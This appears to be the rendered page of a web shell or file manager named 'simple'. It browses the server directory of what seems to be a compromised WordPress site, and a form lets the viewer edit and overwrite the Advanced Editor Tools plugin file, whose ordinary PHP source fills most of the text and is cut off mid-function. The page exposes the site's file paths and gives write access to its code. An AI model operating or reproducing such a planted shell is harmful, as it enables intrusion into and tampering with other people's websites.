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<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fvar%2F'>var</a>/<a href='?path=%2Fvar%2Fwww%2F'>www</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2F'>vhosts</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2F'>vsdma.at</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2F'>httpdocs</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2F'>wp-content</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2F'>plugins</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-content%2Fplugins%2Ftinymce-advanced%2F'>tinymce-advanced</a>/</p><hr><h3>✏️ Editing: tinymce-advanced.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/*
Plugin Name: Advanced Editor Tools
Plugin URI: https://wordpress.org/plugins/tinymce-advanced/
Description: Extends and enhances the block editor (Gutenberg) and the classic editor (TinyMCE).
Version: 5.9.2
Requires at least: 5.9
Requires PHP: 5.6
Author: Automattic
Author URI: https://automattic.com
License: GPL2
License URI: https://www.gnu.org/licenses/gpl-2.0.html
Text Domain: tinymce-advanced


Advanced Editor Tools (previously TinyMCE Advanced) is free software: you can
redistribute it and/or modifyit under the terms of the GNU General Public License
as published bythe Free Software Foundation, either version 2 of the License, or
any later version.

Advanced Editor Tools is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License along
with Advanced Editor Tools or WordPress. If not, see https://www.gnu.org/licenses/gpl-2.0.html.

Copyright (c) 2007-2023 Automattic, Inc. All rights reserved.
*/

/**
 * Main plugin file.
 * @package advanced-editor-tools
 */

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit;
}

if ( ! class_exists( &#039;Advanced_Editor_Tools&#039; ) ) :

class Advanced_Editor_Tools {

	private $required_wp_version = &#039;5.9&#039;;
	private $plugin_version = 5900;

	private $user_settings;
	private $admin_settings;
	private $admin_options;
	private $editor_id;
	private $disabled_for_editor = false;

	private $plugins;
	private $options;
	private $toolbar_1;
	private $toolbar_2;
	private $toolbar_3;
	private $toolbar_4;
	private $used_buttons = array();
	private $all_buttons = array();
	private $buttons_filter = array();
	private $toolbar_classic_block = array();
	private $fontsize_formats = &#039;8px 10px 12px 14px 16px 20px 24px 28px 32px 36px 48px 60px 72px 96px&#039;;
	
	private $required_menubar_plugins = array(
		&#039;anchor&#039;,
		&#039;code&#039;,
		&#039;insertdatetime&#039;,
		&#039;nonbreaking&#039;,
		&#039;print&#039;,
		&#039;searchreplace&#039;,
		&#039;table&#039;,
		&#039;visualblocks&#039;,
		&#039;visualchars&#039;
	);

	private function get_default_user_settings() {
		return array(
			&#039;options&#039;	=&gt; &#039;menubar,advlist,menubar_block,merge_toolbars&#039;,
			&#039;plugins&#039;   =&gt; &#039;anchor,code,insertdatetime,nonbreaking,print,searchreplace,table,visualblocks,visualchars,advlist,wptadv&#039;,
			&#039;toolbar_1&#039; =&gt; &#039;formatselect,bold,italic,blockquote,bullist,numlist,alignleft,aligncenter,alignright,link,unlink,undo,redo&#039;,
			&#039;toolbar_2&#039; =&gt; &#039;fontselect,fontsizeselect,outdent,indent,pastetext,removeformat,charmap,wp_more,forecolor,table,wp_help&#039;,
			&#039;toolbar_3&#039; =&gt; &#039;&#039;,
			&#039;toolbar_4&#039; =&gt; &#039;&#039;,

			&#039;toolbar_classic_block&#039; =&gt; &#039;formatselect,bold,italic,blockquote,bullist,numlist,alignleft,aligncenter,alignright,&#039; .
				&#039;link,forecolor,backcolor,table,wp_help&#039;,
		);
	}

	private function get_default_admin_settings() {
		return array(
			&#039;options&#039; =&gt; &#039;classic_paragraph_block,table_resize_bars,table_grid,table_tab_navigation,table_advtab&#039;,
		);
	}

	private function get_all_plugins() {
		return array(
			&#039;advlist&#039;,
			&#039;anchor&#039;,
			&#039;code&#039;,
			&#039;contextmenu&#039;,
			&#039;emoticons&#039;,
			&#039;importcss&#039;,
			&#039;insertdatetime&#039;,
			&#039;link&#039;,
			&#039;nonbreaking&#039;,
			&#039;print&#039;,
			&#039;searchreplace&#039;,
			&#039;table&#039;,
			&#039;visualblocks&#039;,
			&#039;visualchars&#039;,
			&#039;wptadv&#039;,
		);
	}

	// Options are only &quot;boolean&quot;&quot;, array element exists or not.
	private function get_all_user_options() {
		return array(
			&#039;advlist&#039;,
			&#039;advlink&#039;,
			&#039;contextmenu&#039;,
			&#039;menubar&#039;,
			&#039;menubar_block&#039;,
			&#039;fontsize_formats&#039;,
			&#039;merge_toolbars&#039;,
			&#039;disable_richtext_buttons&#039;,
		);
	}

	private function get_all_admin_options() {
		return array(
			&#039;importcss&#039;,
			&#039;no_autop&#039;,
			&#039;hybrid_mode&#039;,
			&#039;classic_paragraph_block&#039;,
			&#039;replace_block_editor&#039;,
			&#039;table_resize_bars&#039;,
			&#039;table_default_attributes&#039;,
			&#039;table_grid&#039;,
			&#039;table_tab_navigation&#039;,
			&#039;table_advtab&#039;,
		);
	}

	private function get_editor_locations() {
		return array(
			&#039;edit_post_screen&#039;,
			&#039;rest_of_wpadmin&#039;,
			&#039;on_front_end&#039;,
		);
	}

	public function __construct() {
		if ( is_admin() ) {
			add_action( &#039;admin_menu&#039;, array( $this, &#039;add_menu&#039; ) );
			add_action( &#039;admin_enqueue_scripts&#039;, array( $this, &#039;enqueue_scripts&#039; ) );
			add_action( &#039;plugins_loaded&#039;, array( $this, &#039;load_textdomain&#039; ) );
			add_filter( &#039;plugin_action_links&#039;, array( $this, &#039;add_settings_link&#039; ), 10, 2 );
			add_action( &#039;before_wp_tiny_mce&#039;, array( $this, &#039;show_version_warning&#039; ) );

			add_action( &#039;admin_init&#039;, array( $this, &#039;import_export_settings_file&#039; ) );
			add_action( &#039;plugins_loaded&#039;, array( $this, &#039;update_settings&#039; ) );
		}

		add_filter( &#039;wp_editor_settings&#039;, array( $this, &#039;disable_for_editor&#039; ), 10, 2 );

		add_filter( &#039;mce_buttons&#039;, array( $this, &#039;mce_buttons_1&#039; ), 999, 2 );
		add_filter( &#039;mce_buttons_2&#039;, array( $this, &#039;mce_buttons_2&#039; ), 999, 2 );
		add_filter( &#039;mce_buttons_3&#039;, array( $this, &#039;mce_buttons_3&#039; ), 999, 2 );
		add_filter( &#039;mce_buttons_4&#039;, array( $this, &#039;mce_buttons_4&#039; ), 999, 2 );

		add_filter( &#039;tiny_mce_before_init&#039;, array( $this, &#039;mce_options&#039; ), 10, 2 );
		add_filter( &#039;mce_external_plugins&#039;, array( $this, &#039;mce_external_plugins&#039; ), 999 );
		add_filter( &#039;tiny_mce_plugins&#039;, array( $this, &#039;tiny_mce_plugins&#039; ), 999 );

		add_action( &#039;enqueue_block_editor_assets&#039;, array( $this, &#039;block_editor_assets&#039; ), 20 );
		add_action( &#039;init&#039;, array( $this, &#039;block_editor_init&#039; ) );
		add_filter( &#039;wp_insert_post_data&#039;, array( $this, &#039;filter_post_content&#039; ), 1 );

		add_filter( &#039;excerpt_allowed_blocks&#039;, array( $this, &#039;excerpt_add_allowed_blocks&#039; ) );
	}

	public function disable_for_editor( $settings, $editor_id ) {
		static $editor_style_added = false;

		if ( empty( $this-&gt;admin_settings ) ) {
			$this-&gt;load_settings();
		}

		$this-&gt;disabled_for_editor = false;
		$this-&gt;editor_id = $editor_id;

		if ( ! empty( $this-&gt;admin_settings[&#039;disabled_editors&#039;] ) ) {
			$disabled_editors = explode( &#039;,&#039;, $this-&gt;admin_settings[&#039;disabled_editors&#039;] );
			$current_screen = isset( $GLOBALS[&#039;current_screen&#039;] ) ? $GLOBALS[&#039;current_screen&#039;] : new stdClass;

			if ( is_admin() ) {
				if ( $editor_id === &#039;content&#039; &amp;&amp; ( $current_screen-&gt;id === &#039;post&#039; || $current_screen-&gt;id === &#039;page&#039; ) ) {
					if ( in_array( &#039;edit_post_screen&#039;, $disabled_editors, true ) ) {
						$this-&gt;disabled_for_editor = true;
					}
				} elseif ( in_array( &#039;rest_of_wpadmin&#039;, $disabled_editors, true ) ) {
					$this-&gt;disabled_for_editor = true;
				}
			} elseif ( in_array( &#039;on_front_end&#039;, $disabled_editors, true ) ) {
				$this-&gt;disabled_for_editor = true;
			}
		}

		if ( ! $this-&gt;disabled_for_editor &amp;&amp; ! $editor_style_added ) {
			if ( $this-&gt;check_admin_setting( &#039;importcss&#039; ) &amp;&amp; $this-&gt;has_editor_style() === false ) {
				add_editor_style();
			}

			$editor_style_added = true;
		}

		return $settings;
	}

	private function is_disabled() {
		return $this-&gt;disabled_for_editor;
	}

	private function has_editor_style() {
		if ( ! current_theme_supports( &#039;editor-style&#039; ) ) {
			return false;
		}

		$editor_stylesheets = get_editor_stylesheets();

		if ( is_array( $editor_stylesheets ) ) {
			foreach ( $editor_stylesheets as $url ) {
				if ( strpos( $url, &#039;editor-style.css&#039; ) !== false ) {
					return $url;
				}
			}
		}

		return &#039;&#039;;
	}

	public function load_textdomain() {
	    load_plugin_textdomain( &#039;tinymce-advanced&#039;, false, &#039;tinymce-advanced/langs&#039; );
	}

	public function enqueue_scripts( $page ) {
		if ( &#039;settings_page_tinymce-advanced&#039; === $page ) {
			$plugin_url = plugins_url( &#039;plugin-assets&#039;, __FILE__ );

			wp_enqueue_style( &#039;tadv-css&#039;, $plugin_url . &#039;/tadv.css&#039;, array( &#039;editor-buttons&#039; ), $this-&gt;plugin_version );
			wp_enqueue_script( &#039;tadv-js&#039;, $plugin_url . &#039;/tadv.js&#039;, array( &#039;jquery-ui-sortable&#039; ), $this-&gt;plugin_version, true );
			wp_enqueue_style( &#039;tadv-mce-skin&#039;, includes_url( &#039;js/tinymce/skins/lightgray/skin.min.css&#039; ), array(), $this-&gt;plugin_version );

			add_action( &#039;admin_footer&#039;, array( $this, &#039;load_mce_translation&#039; ) );
		}
	}

	public function load_mce_translation() {
		if ( ! class_exists( &#039;_WP_Editors&#039; ) ) {
			require( ABSPATH . WPINC . &#039;/class-wp-editor.php&#039; );
		}

		?&gt;
		&lt;script&gt;var tadvTranslation = &lt;?php echo _WP_Editors::wp_mce_translation( &#039;&#039;, true ); ?&gt;;&lt;/script&gt;
		&lt;?php
	}

	public function load_settings() {
		if ( empty( $this-&gt;admin_settings ) ) {
			$this-&gt;admin_settings = get_option( &#039;tadv_admin_settings&#039;, false );
		}

		if ( empty( $this-&gt;user_settings ) ) {
			$this-&gt;user_settings = get_option( &#039;tadv_settings&#039;, false );
		}

		// load defaults if the options don&#039;t exist...
		if ( $this-&gt;admin_settings === false ) {
			$this-&gt;admin_settings = $this-&gt;get_default_admin_settings();
		}

		$this-&gt;admin_options = ! empty( $this-&gt;admin_settings[&#039;options&#039;] ) ? explode( &#039;,&#039;, $this-&gt;admin_settings[&#039;options&#039;] ) : array();

		$default_user_settings = $this-&gt;get_default_user_settings();

		if ( $this-&gt;user_settings === false ) {
			$this-&gt;user_settings = $default_user_settings;
		}

		if ( empty( $this-&gt;user_settings[&#039;toolbar_1&#039;] ) ) {
			$this-&gt;user_settings[&#039;toolbar_1&#039;] = $default_user_settings[&#039;toolbar_1&#039;];
		}

		if ( empty( $this-&gt;user_settings[&#039;toolbar_classic_block&#039;] ) ) {
			$this-&gt;user_settings[&#039;toolbar_classic_block&#039;] = $default_user_settings[&#039;toolbar_classic_block&#039;];
		}

		$this-&gt;options   = ! empty( $this-&gt;user_settings[&#039;options&#039;] )   ? explode( &#039;,&#039;, $this-&gt;user_settings[&#039;options&#039;] )   : array();
		$this-&gt;plugins   = ! empty( $this-&gt;user_settings[&#039;plugins&#039;] )   ? explode( &#039;,&#039;, $this-&gt;user_settings[&#039;plugins&#039;] )   : array();
		$this-&gt;toolbar_1 = ! empty( $this-&gt;user_settings[&#039;toolbar_1&#039;] ) ? explode( &#039;,&#039;, $this-&gt;user_settings[&#039;toolbar_1&#039;] ) : array();
		$this-&gt;toolbar_2 = ! empty( $this-&gt;user_settings[&#039;toolbar_2&#039;] ) ? explode( &#039;,&#039;, $this-&gt;user_settings[&#039;toolbar_2&#039;] ) : array();
		$this-&gt;toolbar_3 = ! empty( $this-&gt;user_settings[&#039;toolbar_3&#039;] ) ? explode( &#039;,&#039;, $this-&gt;user_settings[&#039;toolbar_3&#039;] ) : array();
		$this-&gt;toolbar_4 = ! empty( $this-&gt;user_settings[&#039;toolbar_4&#039;] ) ? explode( &#039;,&#039;, $this-&gt;user_settings[&#039;toolbar_4&#039;] ) : array();

		$this-&gt;toolbar_classic_block = ! empty( $this-&gt;user_settings[&#039;toolbar_classic_block&#039;] ) ? explode( &#039;,&#039;, $this-&gt;user_settings[&#039;toolbar_classic_block&#039;] ) : array();

		$this-&gt;used_buttons = array_merge( $this-&gt;toolbar_1, $this-&gt;toolbar_2, $this-&gt;toolbar_3, $this-&gt;toolbar_4, $this-&gt;toolbar_classic_block );
		$this-&gt;get_all_buttons();

		// Force refresh after activation.
		if ( ! empty( $GLOBALS[&#039;tinymce_version&#039;] ) &amp;&amp; strpos( $GLOBALS[&#039;tinymce_version&#039;], &#039;-tadv-&#039; ) === false ) {
			$GLOBALS[&#039;tinymce_version&#039;] .= &#039;-tadv-&#039; . $this-&gt;plugin_version;
		}
	}

	public function show_version_warning() {
		if ( is_admin() &amp;&amp; current_user_can( &#039;update_plugins&#039; ) &amp;&amp; get_current_screen()-&gt;base === &#039;post&#039; ) {
			$this-&gt;warn_if_unsupported();
		}
	}

	public function warn_if_unsupported() {
		if ( ! $this-&gt;check_minimum_supported_version() ) {
			$wp_version = ! empty( $GLOBALS[&#039;wp_version&#039;] ) ? $GLOBALS[&#039;wp_version&#039;] : &#039;(undefined)&#039;;

			?&gt;
			&lt;div class=&quot;error notice is-dismissible&quot;&gt;&lt;p&gt;
			&lt;?php

			printf(
				__( &#039;Advanced Editor Tools requires WordPress version %1$s or newer. It appears that you are running %2$s. This can make the editor unstable.&#039;, &#039;tinymce-advanced&#039; ),
				$this-&gt;required_wp_version,
				esc_html( $wp_version )
			);

			echo &#039;&lt;br&gt;&#039;;

			printf(
				__( &#039;Please upgrade your WordPress installation or download an &lt;a href=&quot;%s&quot;&gt;older version of the plugin&lt;/a&gt;.&#039;, &#039;tinymce-advanced&#039; ),
				&#039;https://wordpress.org/plugins/tinymce-advanced/advanced/#download-previous-link&#039;
			);

			?&gt;
			&lt;/p&gt;&lt;/div&gt;
			&lt;?php
		}
	}

	// Min version
	private function check_minimum_supported_version() {
		include( ABSPATH . WPINC . &#039;/version.php&#039; ); // get an unmodified $wp_version
		$wp_version = str_replace( &#039;-src&#039;, &#039;&#039;, $wp_version );

		return ( version_compare( $wp_version, $this-&gt;required_wp_version, &#039;&gt;=&#039; ) );
	}

	public function update_settings() {
		$version = (int) get_option( &#039;tadv_version&#039;, 0 );

		if ( $version &gt;= $this-&gt;plugin_version ) {
			return;
		}

		if ( $version &lt; 4000 ) {
			// First install or upgrade to TinyMCE 4.0
			$this-&gt;user_settings = $this-&gt;get_default_user_settings();
			$this-&gt;admin_settings = $this-&gt;get_default_admin_settings();

			update_option( &#039;tadv_settings&#039;, $this-&gt;user_settings );
			update_option( &#039;tadv_admin_settings&#039;, $this-&gt;admin_settings );
			update_option( &#039;tadv_version&#039;, $this-&gt;plugin_version );

			// Clean out old options
			delete_option(&#039;tadv_options&#039;);
			delete_option(&#039;tadv_toolbars&#039;);
			delete_option(&#039;tadv_plugins&#039;);
			delete_option(&#039;tadv_btns1&#039;);
			delete_option(&#039;tadv_btns2&#039;);
			delete_option(&#039;tadv_btns3&#039;);
			delete_option(&#039;tadv_btns4&#039;);
			delete_option(&#039;tadv_allbtns&#039;);

			return;
		}

		$admin_settings = get_option( &#039;tadv_admin_settings&#039;, false );
		$user_settings = get_option( &#039;tadv_settings&#039;, false );
		$user_defaults = $this-&gt;get_default_user_settings();

		if ( $version &lt; 5000 ) {
			// Update for WP 5.0
			$admin_5000 = ! empty( $admin_settings[&#039;options&#039;] ) ? $admin_settings[&#039;options&#039;] : &#039;&#039;;
			$user_5000 = ! empty( $user_settings[&#039;options&#039;] ) ? $user_settings[&#039;options&#039;] : &#039;&#039;;

			if ( empty( $admin_5000 ) ) {
				$admin_5000 = &#039;hybrid_mode,classic_paragraph_block&#039;;
			} elseif ( strpos( $admin_5000, &#039;no_hybrid_mode&#039; ) !== false ) {
				$admin_5000 = str_replace( &#039;no_hybrid_mode&#039;, &#039;classic_paragraph_block&#039;, $admin_5000 );
			} else {
				$admin_5000 .= &#039;,hybrid_mode,classic_paragraph_block&#039;;
			}

			if ( empty( $user_5000 ) ) {
				$user_5000 = &#039;menubar_block,merge_toolbars&#039;;
			} elseif ( strpos( $user_5000, &#039;no_merge_toolbars&#039; ) !== false ) {
				$user_5000 = str_replace( &#039;no_merge_toolbars&#039;, &#039;menubar_block&#039;, $user_5000 );
			} else {
				$user_5000 .= &#039;,menubar_block,merge_toolbars&#039;;
			}

			$admin_settings[&#039;options&#039;] = $admin_5000;
			$user_settings[&#039;options&#039;] = $user_5000;
		}

		if ( $version &lt; 5200 ) {
			// Update for 5.2, table options
			if ( empty( $admin_settings ) || ! is_array( $admin_settings ) ) {
				$admin_settings = array(
					&#039;options&#039; =&gt; &#039;table_resize_bars,table_grid,table_tab_navigation,table_advtab&#039;,
				);
			} elseif ( empty( $admin_settings[&#039;options&#039;] ) || ! is_string( $admin_settings[&#039;options&#039;] ) ) {
				$admin_settings[&#039;options&#039;] = &#039;table_resize_bars,table_grid,table_tab_navigation,table_advtab&#039;;
			} else {
				$admin_settings[&#039;options&#039;] .= &#039;,table_resize_bars,table_grid,table_tab_navigation,table_advtab&#039;;
			}
		}

		update_option( &#039;tadv_admin_settings&#039;, $admin_settings );
		update_option( &#039;tadv_settings&#039;, $user_settings );

		// Current version
		update_option( &#039;tadv_version&#039;, $this-&gt;plugin_version );
	}

	public function get_all_buttons() {
		if ( ! empty( $this-&gt;all_buttons ) ) {
			return $this-&gt;all_buttons;
		}

		$buttons = array(
			// Core
			&#039;bold&#039; =&gt; &#039;Bold&#039;,
			&#039;italic&#039; =&gt; &#039;Italic&#039;,
			&#039;underline&#039; =&gt; &#039;Underline&#039;,
			&#039;strikethrough&#039; =&gt; &#039;Strikethrough&#039;,
			&#039;alignleft&#039; =&gt; &#039;Align left&#039;,
			&#039;aligncenter&#039; =&gt; &#039;Align center&#039;,
			&#039;alignright&#039; =&gt; &#039;Align right&#039;,
			&#039;alignjustify&#039; =&gt; &#039;Justify&#039;,
			&#039;styleselect&#039; =&gt; &#039;Formats&#039;,
			&#039;formatselect&#039; =&gt; &#039;Paragraph&#039;,
			&#039;fontselect&#039; =&gt; &#039;Font Family&#039;,
			&#039;fontsizeselect&#039; =&gt; &#039;Font Sizes&#039;,
			&#039;cut&#039; =&gt; &#039;Cut&#039;,
			&#039;copy&#039; =&gt; &#039;Copy&#039;,
			&#039;paste&#039; =&gt; &#039;Paste&#039;,
			&#039;bullist&#039; =&gt; &#039;Bulleted list&#039;,
			&#039;numlist&#039; =&gt; &#039;Numbered list&#039;,
			&#039;outdent&#039; =&gt; &#039;Decrease indent&#039;,
			&#039;indent&#039; =&gt; &#039;Increase indent&#039;,
			&#039;blockquote&#039; =&gt; &#039;Blockquote&#039;,
			&#039;undo&#039; =&gt; &#039;Undo&#039;,
			&#039;redo&#039; =&gt; &#039;Redo&#039;,
			&#039;removeformat&#039; =&gt; &#039;Clear formatting&#039;,
			&#039;subscript&#039; =&gt; &#039;Subscript&#039;,
			&#039;superscript&#039; =&gt; &#039;Superscript&#039;,

			// From plugins
			&#039;hr&#039; =&gt; &#039;Horizontal line&#039;,
			&#039;link&#039; =&gt; &#039;Insert/edit link&#039;,
			&#039;unlink&#039; =&gt; &#039;Remove link&#039;,
			&#039;image&#039; =&gt; &#039;Insert/edit image&#039;,
			&#039;charmap&#039; =&gt; &#039;Special character&#039;,
			&#039;pastetext&#039; =&gt; &#039;Paste as text&#039;,
			&#039;print&#039; =&gt; &#039;Print&#039;,
			&#039;anchor&#039; =&gt; &#039;Anchor&#039;,
			&#039;searchreplace&#039; =&gt; &#039;Find and replace&#039;,
			&#039;visualblocks&#039; =&gt; &#039;Show blocks&#039;,
			&#039;visualchars&#039; =&gt; &#039;Show invisible characters&#039;,
			&#039;code&#039; =&gt; &#039;Source code&#039;,
			&#039;wp_code&#039; =&gt; &#039;Code&#039;,
			&#039;fullscreen&#039; =&gt; &#039;Fullscreen&#039;,
			&#039;insertdatetime&#039; =&gt; &#039;Insert date/time&#039;,
			&#039;media&#039; =&gt; &#039;Insert/edit video&#039;,
			&#039;nonbreaking&#039; =&gt; &#039;Nonbreaking space&#039;,
			&#039;table&#039; =&gt; &#039;Table&#039;,
			&#039;ltr&#039; =&gt; &#039;Left to right&#039;,
			&#039;rtl&#039; =&gt; &#039;Right to left&#039;,
			&#039;emoticons&#039; =&gt; &#039;Emoticons&#039;,
			&#039;forecolor&#039; =&gt; &#039;Text color&#039;,
			&#039;backcolor&#039; =&gt; &#039;Background color&#039;,

			// WP
			&#039;wp_adv&#039;		=&gt; &#039;Toolbar Toggle&#039;,
			&#039;wp_help&#039;		=&gt; &#039;Keyboard Shortcuts&#039;,
			&#039;wp_more&#039;		=&gt; &#039;Read more...&#039;,
			&#039;wp_page&#039;		=&gt; &#039;Page break&#039;,

			&#039;tadv_mark&#039;     =&gt; &#039;Mark&#039;,
		);

		// add/remove allowed buttons
		$buttons = apply_filters( &#039;tadv_allowed_buttons&#039;, $buttons );

		$this-&gt;all_buttons = $buttons;
		$this-&gt;buttons_filter = array_keys( $buttons );
		return $buttons;
	}

	public function get_plugins( $plugins = array() ) {

		if ( ! is_array( $this-&gt;used_buttons ) ) {
			$this-&gt;load_settings();
		}

		if ( in_array( &#039;anchor&#039;, $this-&gt;used_buttons, true ) )
			$plugins[] = &#039;anchor&#039;;

		if ( in_array( &#039;visualchars&#039;, $this-&gt;used_buttons, true ) )
			$plugins[] = &#039;visualchars&#039;;

		if ( in_array( &#039;visualblocks&#039;, $this-&gt;used_buttons, true ) )
			$plugins[] = &#039;visualblocks&#039;;

		if ( in_array( &#039;nonbreaking&#039;, $this-&gt;used_buttons, true ) )
			$plugins[] = &#039;nonbreaking&#039;;

		if ( in_array( &#039;emoticons&#039;, $this-&gt;used_buttons, true ) )
			$plugins[] = &#039;emoticons&#039;;

		if ( in_array( &#039;insertdatetime&#039;, $this-&gt;used_buttons, true ) )
			$plugins[] = &#039;insertdatetime&#039;;

		if ( in_array( &#039;table&#039;, $this-&gt;used_buttons, true ) )
			$plugins[] = &#039;table&#039;;

		if ( in_array( &#039;print&#039;, $this-&gt;used_buttons, true ) )
			$plugins[] = &#039;print&#039;;

		if ( in_array( &#039;searchreplace&#039;, $this-&gt;used_buttons, true ) )
			$plugins[] = &#039;searchreplace&#039;;

		if ( in_array( &#039;code&#039;, $this-&gt;used_buttons, true ) )
			$plugins[] = &#039;code&#039;;

		// From options
		if ( $this-&gt;check_user_setting( &#039;advlist&#039; ) )
			$plugins[] = &#039;advlist&#039;;

		if ( $this-&gt;check_user_setting( &#039;advlink&#039; ) )
			$plugins[] = &#039;link&#039;;

		if ( $this-&gt;check_admin_setting( &#039;importcss&#039; ) )
			$plugins[] = &#039;importcss&#039;;

		if ( $this-&gt;check_user_setting( &#039;contextmenu&#039; ) )
			$plugins[] = &#039;contextmenu&#039;;

		// add/remove used plugins
		$plugins = apply_filters( &#039;tadv_used_plugins&#039;, $plugins, $this-&gt;used_buttons );

		return array_unique( $plugins );
	}

	private function check_user_setting( $setting ) {
		if ( ! is_array( $this-&gt;options ) ) {
			$this-&gt;load_settings();
		}

		// Back-compat for &#039;fontsize_formats&#039;
		if ( $setting === &#039;fontsize_formats&#039; &amp;&amp; $this-&gt;check_admin_setting( &#039;fontsize_formats&#039; ) ) {
			return true;
		}

		return in_array( $setting, $this-&gt;options, true );
	}

	private function check_admin_setting( $setting ) {
		if ( ! is_array( $this-&gt;admin_options ) ) {
			$this-&gt;load_settings();
		}

		if ( strpos( $setting, &#039;enable_&#039; ) === 0 ) {
			$disabled_editors = ! empty( $this-&gt;admin_settings[&#039;disabled_editors&#039;] ) ? explode( &#039;,&#039;, $this-&gt;admin_settings[&#039;disabled_editors&#039;] ) : array();
			return ! in_array( str_replace( &#039;enable_&#039;, &#039;&#039;, $setting ), $disabled_editors );
		}

		return in_array( $setting, $this-&gt;admin_options, true );
	}

	public function mce_buttons_1( $original, $editor_id ) {
		if ( $this-&gt;is_disabled() ) {
			return $original;
		}

		if ( ! is_array( $this-&gt;options ) ) {
			$this-&gt;load_settings();
		}

		if ( $editor_id === &#039;classic-block&#039; ) {
			$buttons_1 = $this-&gt;toolbar_classic_block;
		} else {
			$buttons_1 = $this-&gt;toolbar_1;
		}

		if ( is_array( $original ) &amp;&amp; ! empty( $original ) ) {
			$original = array_diff( $original, $this-&gt;buttons_filter );
			$buttons_1 = array_merge( $buttons_1, $original );
		}

		return $buttons_1;
	}

	public function mce_buttons_2( $original, $editor_id ) {
		if ( $this-&gt;is_disabled() ) {
			return $original;
		}

		if ( ! is_array( $this-&gt;options ) ) {
			$this-&gt;load_settings();
		}

		if ( $editor_id === &#039;classic-block&#039; ) {
			$buttons_2 = array();
		} else {
			$buttons_2 = $this-&gt;toolbar_2;
		}

		if ( is_array( $original ) &amp;&amp; ! empty( $original ) ) {
			$original = array_diff( $original, $this-&gt;buttons_filter );
			$buttons_2 = array_merge( $buttons_2, $original );
		}

		return $buttons_2;
	}

	public function mce_buttons_3( $original, $editor_id ) {
		if ( $this-&gt;is_disabled() ) {
			return $original;
		}

		if ( ! is_array( $this-&gt;options ) ) {
			$this-&gt;load_settings();
		}

		if ( $editor_id === &#039;classic-block&#039; ) {
			$buttons_3 = array();
		} else {
			$buttons_3 = $this-&gt;toolbar_3;
		}

		if ( is_array( $original ) &amp;&amp; ! empty( $original ) ) {
			$original = array_diff( $original, $this-&gt;buttons_filter );
			$buttons_3 = array_merge( $buttons_3, $original );
		}

		return $buttons_3;
	}

	public function mce_buttons_4( $original, $editor_id ) {
		if ( $this-&gt;is_disabled() ) {
			return $original;
		}

		if ( ! is_array( $this-&gt;options ) ) {
			$this-&gt;load_settings();
		}

		if ( $editor_id === &#039;classic-block&#039; ) {
			$buttons_4 = array();
		} else {
			$buttons_4 = $this-&gt;toolbar_4;
		}

		if ( is_array( $original ) &amp;&amp; ! empty( $original ) ) {
			$original = array_diff( $original, $this-&gt;buttons_filter );
			$buttons_4 = array_merge( $buttons_4, $original );
		}

		return $buttons_4;
	}

	public function mce_options( $init, $editor_id = &#039;&#039; ) {
		if ( $this-&gt;is_disabled() ) {
			return $init;
		}

		$init[&#039;image_advtab&#039;] = true;
		$init[&#039;rel_list&#039;] = &#039;[{text: &quot;None&quot;, value: &quot;&quot;}, {text: &quot;Nofollow&quot;, value: &quot;nofollow noreferrer&quot;}]&#039;;
		// Prevent user errors.
		$init[&#039;removed_menuitems&#039;] = &#039;newdocument&#039;;

		if ( $this-&gt;check_admin_setting( &#039;no_autop&#039; ) ) {
			$init[&#039;wpautop&#039;] = false;
			$init[&#039;indent&#039;] = true;
			$init[&#039;tadv_noautop&#039;] = true;
		}

		if ( $editor_id === &#039;classic-block&#039; ) {
			if ( $this-&gt;check_user_setting( &#039;menubar_block&#039; ) ) {
				$init[&#039;menubar&#039;] = true;
			}

			if (
				$this-&gt;check_user_setting( &#039;merge_toolbars&#039; ) &amp;&amp;
				! empty( $init[&#039;toolbar1&#039;] ) &amp;&amp;
				is_string( $init[&#039;toolbar1&#039;] )
			) {
				if ( ! empty( $init[&#039;toolbar2&#039;] ) &amp;&amp; is_string( $init[&#039;toolbar2&#039;] ) ) {
					$init[&#039;toolbar1&#039;] = $init[&#039;toolbar1&#039;] . &#039;,&#039; . $init[&#039;toolbar2&#039;];
					$init[&#039;toolbar2&#039;] = &#039;&#039;;
				}
				if ( ! empty( $init[&#039;toolbar3&#039;] ) &amp;&amp; is_string( $init[&#039;toolbar3&#039;] ) ) {
					$init[&#039;toolbar1&#039;] = $init[&#039;toolbar1&#039;] . &#039;,&#039; . $init[&#039;toolbar3&#039;];
					$init[&#039;toolbar3&#039;] = &#039;&#039;;
				}
				if ( ! empty( $init[&#039;toolbar4&#039;] ) &amp;&amp; is_string( $init[&#039;toolbar4&#039;] ) ) {
					$init[&#039;toolbar1&#039;] = $init[&#039;toolbar1&#039;] . &#039;,&#039; . $init[&#039;toolbar4&#039;];
					$init[&#039;toolbar4&#039;] = &#039;&#039;;
				}
			}
		} else {
			if ( $this-&gt;check_user_setting( &#039;menubar&#039; ) ) {
				$init[&#039;menubar&#039;] = true;
			}
		}

		if ( ! in_array( &#039;wp_adv&#039;, $this-&gt;toolbar_1, true ) ) {
			$init[&#039;wordpress_adv_hidden&#039;] = false;
		}

		if ( $this-&gt;check_admin_setting( &#039;importcss&#039; ) ) {
			$init[&#039;importcss_file_filter&#039;] = &#039;editor-style.css&#039;;
		}

		if ( $this-&gt;check_user_setting( &#039;fontsize_formats&#039; ) ) {
